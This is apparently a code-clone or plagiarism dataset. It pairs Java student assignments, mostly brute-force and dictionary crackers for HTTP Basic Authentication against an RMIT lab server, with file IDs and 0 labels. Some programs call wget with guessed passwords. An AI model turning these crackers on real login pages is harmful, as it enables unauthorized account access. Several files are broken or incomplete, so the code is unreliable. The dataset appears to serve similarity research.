(strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty ("Authorization", " " + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
065.java
161.java
0
import java.*; import java.io.*; import java.String; import java.util.*; public class BruteForce { public static void main (String [] args) { try { Date d = new Date(); String file = "index.html"; String file1 = "passwd."; String line =""; String [] cmd = new String[4]; cmd[0] = "wget"; cmd[1] = "--http-user="; cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/"; File f = new File(file); FileReader fr = new FileReader(file1); BufferedReader in = new BufferedReader(fr); while((line = in.readLine())!=null) { Date end = new Date(); cmd[2] = pass(line); Runtime.getRuntime().exec(cmd); if(f.exists()) { System.out.println(" have found your pasword"); System.out.println("the time: " + d.getMinutes() +":"+ d.getSeconds()); System.out.println("the end time: " + end.getMinutes() +":"+ end.getSeconds()); break; } System.out.println(cmd[2]); } } catch(IOException e) { System.out.println("hello try"); } } public static String pass(String str) { return "--http-passwd=" + str; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
087.java
161.java
0
import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
009.java
161.java
0
import java.util.*; import java.text.*; import java.io.*; import java.*; import java.net.*; public class WatchDog { public static void main(String args[]) { String s = null; String webpage = "http://www.cs.rmit.edu./students/"; String file1 = "file1"; String file2 = "file2"; try { Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } while (true) { try { Process p = Runtime.getRuntime().exec("sleep 86400"); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec("wget -O " + file2 + " " + webpage); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } try { Process p = Runtime.getRuntime().exec("diff " + file1 + " " + file2); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } if ((p.exitValue()) == 1) { String mailServerURL = "yallara.cs.rmit.edu."; String host = "yallara.cs.rmit.edu."; String from = "@yallara.cs.rmit.edu."; String subject = "Change Detected In WatchDog.java"; try { Socket csoc=new Socket(mailServerURL,25); BufferedReader in=new BufferedReader( new InputStreamReader(csoc.getInputStream())); PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); System.out.println("HELO "+host); System.out.println(in.readLine()); out.println("MAIL FROM:"+from); System.out.println(in.readLine()); System.out.println(in.readLine()); System.out.println("DATA"); System.out.println(in.readLine()); System.out.println("SUBJECT:"+subject); System.out.println(in.readLine()); while ((s = stdInput.readLine()) != null){ System.out.println(s); } out.println("."); System.out.println(in.readLine()); System.out.println("QUIT"); System.out.println(in.readLine()); } catch(Exception e) { e.printStackTrace(); System.out.println("Some error occoured while communicating server"); } } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
243.java
161.java
0
import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println("Trying again"); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println("Passing dictionary word and waiting for URL reply....... "); String currentword = ""; String se = ""; try{ FileInputStream reader = new FileInputStream ("words"); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
236.java
161.java
0
import java.io.*; public class ReadDictionary { private BufferedReader bf; private String line=""; public static void main (String argv[]) throws Exception { ReadDictionary rd=new ReadDictionary(); rd.openFile(); for (int inx=0; inx<800 ;inx++ ) { System.out.println(inx + " " + rd.readLine() ); } } public void openFile() { try { setBr(new BufferedReader(new FileReader("/usr/share/lib/dict/words"))); }catch(IOException e) { System.out.println(e.getMessage()); } } public String readLine() { try { { line = bf.readLine(); }while (line != null && line.length() >3); }catch (IOException e) { System.out.println(e.getMessage()); } return(line); } public BufferedReader getBr() { return this.line; } public void setBr(BufferedReader bf) { this.bf = bf; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
156.java
161.java
0
import java.net.*; import java.io.*; import java.util.Date; public class BruteForce { private URL url; private HttpURLConnection connection; private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}; private String userPassword, base64_userPassword; private static char wrongPass; public BruteForce() { wrongPass = 'Y'; } public char determinePass(String inputURL, String userName, String passWord){ try{ url = new URL(inputURL); connection = (HttpURLConnection)url.openConnection(); this.getEncoded(userName, passWord); connection.setDoInput(true); connection.setDoOutput(false); connection.setRequestProperty("Authorization", " " + base64_userPassword); if (connection.getResponseCode() == 200) { System.out.println("Success!! Password is: " + passWord); wrongPass = 'N'; } return wrongPass; } catch (MalformedURLException e){System.out.println("Invalide url");} catch (IOException e){System.out.println("Error URL"); wrongPass = 'Y';} return wrongPass; } public static void main(String[] args) { int i, j, k; String brutePass; BruteForce bruteForce1 = new BruteForce(); Date date = new Date(System.currentTimeMillis()); System.out.print(" time is: "); System.out.println(date.toString()); for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + upperCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + upperCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + lowerCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + lowerCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + upperCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + upperCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + lowerCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); } private void getEncoded(String userName, String password){ userPassword = userName + ":" + password; base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
042.java
161.java
0
import java.net.*; import java.io.*; public class BruteForce { private String strUserName; private String strURL; private int iAttempts; public BruteForce(String strURL,String strUserName) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; } public String getPassword(){ URL u; String result =""; PassGenBrute PG = new PassGenBrute(3); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo("HTTP/1.1 200 OK")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + ":" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty("Authorization"," " + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println("MalformedURLException: "+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main (String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 2) { BruteForce BF = new BruteForce(arg[0],arg[1]); System.out.println("Processing ... "); timeStart = System.currentTimeMillis(); System.out.println("Password = " + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)"); System.out.println("Total Attempts = " + BF.getAttempts()); } else { System.out.println("[Usage] java BruteForce <URL> <USERNAME>"); } } } class PassGenBrute { private char[] password; public PassGenBrute(int lenght) { password = new char[lenght]; for (int i = 0; i < lenght; i++){ password[i] = 65; } password[0]--; } public String getNewPassword() throws PasswordFailureException{ password[0]++; try { for (int i=0; i<password.length ; i++){ if (password[i] == 90) { password[i] = 97; } if (password[i] > 122) { password[i] = 65; password[i+1]++; } } } catch (RuntimeException re){ throw new PasswordFailureException (); } return new String(password); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
225.java
161.java
0
import java.io.*; import java.awt.*; import java.net.*; public class BruteForce { public static void main (String[] args) { String pw = new String(); pw = getPassword (); System.out.println("Password is: "+pw); } public static String getPassword() { String passWord = new String(); passWord = "AAA"; char[] guess = passWord.toCharArray(); Process pro = null; Runtime runtime = Runtime.getRuntime(); BufferedReader in = null; String str=null; boolean found = true; System.out.println(" attacking....."); for (int i=65;i<=122 ;i++ ) { guess[0]=(char)(i); for (int j=65;j<=122 ;j++ ) { guess[1]=(char)(j); for (int k=65 ;k<=122 ;k++ ) { guess[2]=(char)(k); passWord = new String(guess); String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php "; try { pro = runtime.exec(cmd); in = new BufferedReader(new InputStreamReader(pro.getErrorStream())); found = true; if((str=in.readLine())!=null) { while ((str=in.readLine())!=null) { if (str.endsWith("Required")) { found = false; } } if (found == true) { return passWord; } } } catch (Exception exception) { exception.getMessage(); } if(k==90) k=96; runtime.gc(); } if(j==90) j=96; } if(i==90) i=96; } return "not found"; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
044.java
161.java
0
import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo("HTTP/1.1 200 OK")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + ":" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty("Authorization"," " + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println("MalformedURLException: "+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println("Processing ... "); timeStart = System.currentTimeMillis(); System.out.println("Password = " + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)"); System.out.println("Total Attempts = " + BF.getAttempts()); } else { System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public 